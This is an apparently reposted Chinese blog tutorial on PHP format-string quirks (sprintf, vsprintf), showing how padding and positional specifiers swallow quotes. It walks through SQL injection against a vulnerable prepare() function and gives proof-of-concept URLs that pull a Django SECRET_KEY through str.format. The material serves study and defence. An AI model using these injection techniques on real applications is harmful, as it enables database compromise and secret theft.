php 字符串包含另一个字符串_PHP字符串格式化特点和漏洞利用点

PHP中的格式化字符串函数

在PHP中存在多个字符串格式化函数,分别是 printf() 、 sprintf() 、 vsprintf() 。他们的功能都大同小异。

printf, int printf ( string $format [, mixed $args [, mixed $... ]] ) ,直接将格式化的结果输出,返回值是int。

sprintf, string sprintf ( string $format [, mixed $args [, mixed $... ]] ) ,返回格式化字符串的结果

vsprintf, string vsprintf ( string $format , array $args ) ,与 sprintf() 相似,不同之处在于参数是以数组的方式传入。

三者的功能类似,以下仅以 sprintf() 来说明常规的格式化字符串的方法。

单个参数格式化的方法

var_dump(sprintf('1%s9','monkey'));         # 格式化字符串。结果是1monkey9
var_dump(sprintf('1%d9','456'));            # 格式化数字。结果是14569
var_dump(sprintf("1%10s9",'moneky'));       # 设置格式化字符串的长度为10,如果长度不足10,则以空格代替。结果是1    moneky9(length=12)
var_dump(sprintf("1%10s9",'many monkeys')); # 设置格式化字符串的长度为10,如果长度超过10,则保持不变。结果是1many monkeys9(length=14)
var_dump(sprintf("1%'^10s9",'monkey'));     # 设置格式化字符串的长度为10,如果长度不足10,则以^代替。结果是1^^^^monkey9(length=12)
var_dump(sprintf("1%'^10s9",'monkey'));     # 设置格式化字符串的长度为10,如果长度超过10,则保持不变。结果是1many monkeys9(length=14)

多个参数格式化的方法

$num = 5;
$location = 'tree';
echo sprintf('There are %d monkeys in the %s', $num, $location);            # 位置对应,
echo sprintf('The %s contains %d monkeys', $location, $num);                # 位置对应
echo sprintf('The %2$s contains %1$d monkeys', $num, $location);            # 通过%2、%1来申明需要格式化的是第多少个参数,比如%2$s表示的是使用第二个格式化参数即$location进行格式化,同时该参数的类型是字符串类型(s表明了类型)

在格式化中申明的格式化参数类型有几个就说明是存在几个格式化参数,在上面的例子都是两个参数。如果是下方这种:

echo sprintf('The %s contains %d monkeys', 'tree');                     # 返回结果为False

则会出现 Too few arguments ,因为存在两个格式化参数 %s%d 但仅仅只是传入了一个变量 tree 导致格式化出错返回结果为False,无法进行格式化。

格式化字符串的特性

除了上面的一般用法之外,格式化中的一些怪异的用法常常被人忽略,则这些恰好是漏洞的来源。

字符串padding

常规的padding默认采用的是空格方式进行填充,如果需要使用其他的字符进行填充,则需要以 %'[需要填充的字符]10s 格式来表示,如 %'#10s 表示以 # 填充, %'$10s 表示以 $ 填充

var_dump(sprintf("1%10s9",'monkey'));           # 使用空格进行填充
var_dump(sprintf("1%'#10s9",'monkey'));         # 使用#填充,结果是 1####monkey9
var_dump(sprintf("1%'$10s9",'monkey'));         # 使用$填充,结果是 1$$$$monkey9

从上面的例子看到, 在某些情况下单引号在格式化时会被吞掉,而这就有可能会埋下漏洞的隐患。

字符串按位置格式化

按位置格式化字符串的常规用法

$num = 5;
$location = 'tree';
var_dump(sprintf('The %2$s contains %1$d monkeys', $num, $location));

这种制定参数位置的格式化方法会使用到 %2$s 这种格式化的方式表示。其中 %2 表示格式化第二个参数, $s 表示需要格式化的参数类型是字符串。如下:

var_dump(sprintf('%1$s-%s', 'monkey'));         # 结果是monkey-monkey

因为 %1$s 表示格式化第一个字符串,而后面的 %s 默认情况下同样格式化的是第一个字符串,所以最终的结果是 monkey-monkey 。如果是:

var_dump(sprintf('%2$s-%s', 'monkey1','monkey2'));      # 结果是monkey2-monkey1

因为 %2$s 格式化第二个字符串, %s 格式化第一个字符串。

下面看一些比较奇怪的写法。首先我们需要知道在 sprintf用法 中已经说明了可以格式化的类型

48755e63400594b4b76055e56762a0ab.png

如果遇到无法识别的格式化类型呢?如:

var_dump(sprintf('%1$as', 'monkey'));               # 结果是s

由于在格式化类型中不存在 a 类型,导致格式化失败。此时 %1$a 在格式化字符串时无用就直接舍弃,最后得到的就是 s 。但是如果我们写成:

var_dump(sprintf('%1$a%s', 'monkey'));             # 结果是monkey

因为 %1$a%sa 为无法识别的类型,则直接舍弃。剩下的 %s 可以继续进行格式化得到 monkey

那么结论就是 %1$[格式化类型] ,如果所声明的格式化类型不存在,则 %1$[格式化类型] 会被全部舍弃,留下剩下的字符。

如果在 $ 接上数字呢?如 %1$10s 呢?

var_dump(sprintf('%1$10s', 'monkey'));             # 结果是'    monkey' (length=10)

此时表示的是格式化字符串的长度,默认使用的是空格进行填充。如果需要使用其他的字符串填充呢?此时格式是 %1$'[需要填充的字符]10s

var_dump(sprintf("%1$'#10s", 'monkey'));           # 结果是 '####monkey' (length=10)

除此之外,还存在一些其他的奇怪的用法,如下:

var_dump(sprintf("%1$'%s", 'monkey'));            # 得到的结果就是 monkey
`

按照之前的说法,由于 ' 是无法识别的类型,所以 %1$' 会被舍弃,剩余的 %s 进行格式化得到的就是 monkey 。可以发现在这种情况下 ' 已经消失了。假设程序经过过滤得到的字符串是 %1$'%s' ,那么就会导致中间的 ' 被吞掉,如下:

var_dump(sprintf("%1$'%s'", 'monkey'));        # 得到的结果是 monkey'

吞掉引号

对上面进行一个简单的总结,除了一些不常见的字符串的格式化用法之外,还存在一些吞掉引号的用法。都是处在字符串padding的情况下。

var_dump(sprintf("1%'#10s9",'monkey'));         # 使用#填充,结果是 1####monkey9
var_dump(sprintf("%1$'#10s", 'monkey'));           # 结果是 '####monkey' (length=10)

这两种 ' 被吞掉的情况都有可能会引起漏洞。

漏洞示例

通过一段存在漏洞的代码来说明这种情况

$value1 = $_GET['value1'];
$value2 = $_GET['value2'];
$a = prepare("AND meta_value=%s",$value1);
$b = prepare("SELECT * FROM table WHERE key=%s $a",$value2);
function prepare($query,$args) {
    $query = str_replace("'%s'",'%s',$query);
    $query = str_replace('"%s"','$s',$query);
    $query = preg_replace('|(?<!%)%f|','%F',$query);
    $query = preg_replace('|(?<!%)%s|', "'%s'", $query);
    return @vsprintf($query,$args);
}

$value1$value2 是用户可控,函数 prepare() 会去掉格式化字符串 %s 的单引号和双引号,同时在最后加上单引号。虽然最后加上了一个 ' ,但是我们还是有办法能够逃脱这个单引号。利用方式就是通过之前申明字符串填充padding的方式吞掉单引号。

利用%1$’%s

之前已经说过 sprintf("%1$'%s", 'monkey') 就可以吞掉其中的 ' 。那么在本例中,我们可以设置:

$value1 = '1 %1$%s (here sqli payload) --';
$value2 = '_dump';

此时,经过 $a = prepare("AND meta_value=%s",$value1); ,得到 $aAND meta_value='1 %1$%s (here sqli payload) --' 。之后执行 $b = prepare("SELECT * FROM table WHERE key=%s $a",$value2); ,其中 $value2_dump 。下面仔细分析:

79c1bd49bcafd3c0f2c8633988ca6b26.png

经过 $query = preg_replace('|(?<!%)%s|', "'%s'", $query) 会将所有的 %s 全部变为 '%s',所以此时得到的 $querySELECT * FROM table WHERE key='%s' AND meta_value='1 %1$'%s' (here sqli payload) --'

此时其中刚好存在有 1 %1$'%s 这种形式的格式化字符串,导致其中的 %1$' 会被去除,剩下 1 %s' ,此时就类似于 SELECT * FROM table WHERE key='%s' AND meta_value='1 %s' (here sqli payload) --' ,格式化 vsprintf("SELECT * FROM table WHERE key='%s' AND meta_value='1 %s' (here sqli payload) --'",_dump) 刚好闭合了前面的单引号形成SQL注入。得到的结果如下:

3811f4b9ac1f82b35c4497b5a098e6b6.png

方式二

上面利用的是 %1$'%s ,即在位置声明时出错导致吞掉单引号的方式,本方式是通过自身引入 ' 与加入的单引号重合的方式。如:

$query = '1 %s 2';
$query = preg_replace('|(?<!%)%s|', "'%s'", $query);    # 得到 1 '%s' 2'
$query = preg_replace('|(?<!%)%s|', "'%s'", $query);    # 得到 1 ''%s'' 2

可以发现经过两次相同的过滤,最终导致 %s 逃逸出来。而在本题中的 $value1 同样是经过了两个的过滤。

所以,我们如果设置

$value1 = ' %s ';       # 注意%s 前后的空格
$value2 = array('_dump', '(here sqli payload) --');

经过 $a = prepare("AND meta_value=%s",$value1); 得到 $aAND meta_value=' %s ' 。其中 $valuearray('_dump', '(here sqli payload) --') ,分析代码 $b = prepare("SELECT * FROM table WHERE key=%s $a",$value2);

分析执行 $query = preg_replace('|(?<!%)%s|', "'%s'", $query); 之前和之后的代码:

执行之前,$query为“

9fde3abb5c2b46d7b2f13b41b76cc8d3.png

执行之后,$query为 SELECT * FROM table WHERE key='%s' AND meta_value=' '%s' '

0a6514f1d3ed559dc7aa4572dec61402.png

可以发现所有的 %s 全部被左右全被加上了单引号,刚好与之前的单引号进行匹配,导致 AND meta_value=' '%s' ' 中的 %s 逃逸出来。最后的几个就是 SELECT * FROM table WHERE key='_dump' AND meta_value=' '(here sqli payload) --' '

d71f94f58ff7eeae007dbdb94514398f.png

其他

虽然本篇文章主要讨论的是PHP中的字符串漏洞,但是对于其他语言如(Java/Python)也在这里进行一个简单的讨论。(以下的例子借用的是xiaoxiong文章 wordpress 格式化字符串注入 中的例子)

Java格式化

StringBuilder sb = new StringBuilder();
Formatter formatter = new Formatter(sb, Locale.US);
formatter.format("%s %s %1$s", "a", "monkey");
System.out.println(formatter);

最后输出的结果是 a monkey a ,因为前面两个 %s 是按照顺序取,得到的是 amonkey ,而后面的 %1$s 按照位置取,得到的是 a ,所以最后的结果是 a monkey a

如果写为:

StringBuilder sb = new StringBuilder();
Formatter formatter = new Formatter(sb, Locale.US);
formatter.format("%s %s '%2$c %1$s", "a", 39, "c", "d");
System.out.println(formatter);

最后得到的结果是 a 39 '' a ,前面两个 %s 按照顺序去得到 a39 ,而 %1$s 取第一个参数,得到 a%2$c 取第二个参数,并且将其值作为数字得到其对应的ASCII字符,因为39对应的ASCII字符是 ' ,所以 '%2$c 得到的就是 ''

那么,我们能否借鉴PHP中的思路,吞掉 ' 呢?

StringBuilder sb = new StringBuilder();
Formatter formatter = new Formatter(sb, Locale.US);
formatter.format("%2$'s", "a", "monkey");
System.out.println(formatter);

程序会出现 java.util.UnknownFormatConversionException ,无法进行类型转换的错误,所以利用Java中进行格式化的转换,目前还需要进一步的研究。

def view(request, *args, **kwargs):
    template = 'Hello {user}, This is your email: ' + request.GET.get('email')
    return HttpResponse(template.format(user=request.user))

poc:
http://localhost:8000/?email={user.groups.model._meta.app_config.module.admin.settings.SECRET_KEY}
http://localhost:8000/?email={user.user_permissions.model._meta.app_config.module.admin.settings.SECRET_KEY}

这个代码是基于Django的环境下的存在漏洞的代码。通过第一次格式化改变了语句结构,第二次格式化进行赋值。由于平时对Django接触得比较少,所以这个代码理解得还不是很透,需要进一步的实践才能够知道。

总结

看似一些正常功能的函数在某些特殊情况下恰好能够为埋下漏洞的隐患,而字符串格式化刚好就是一个这样的例子,也从侧面说明了安全需要猥琐呀。

以上内容希望帮助到大家,很多PHPer在进阶的时候总会遇到一些问题和瓶颈,业务代码写多了没有方向感,不知道该从那里入手去提升,对此我整理了一些资料,包括但不限于:分布式架构、高可扩展、高性能、高并发、服务器性能调优、TP6,laravel,YII2,Redis,Swoole、Swoft、Kafka、Mysql优化、shell脚本、Docker、微服务、Nginx等多个知识点高级进阶干货需要的可以免费分享给大家 ,需要请戳这里链接 或者关注咱们下面的专栏
PHP大神进阶​zhuanlan.zhihu.com
f2f582811f94bd38e4e2697afb95ea7c.png
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值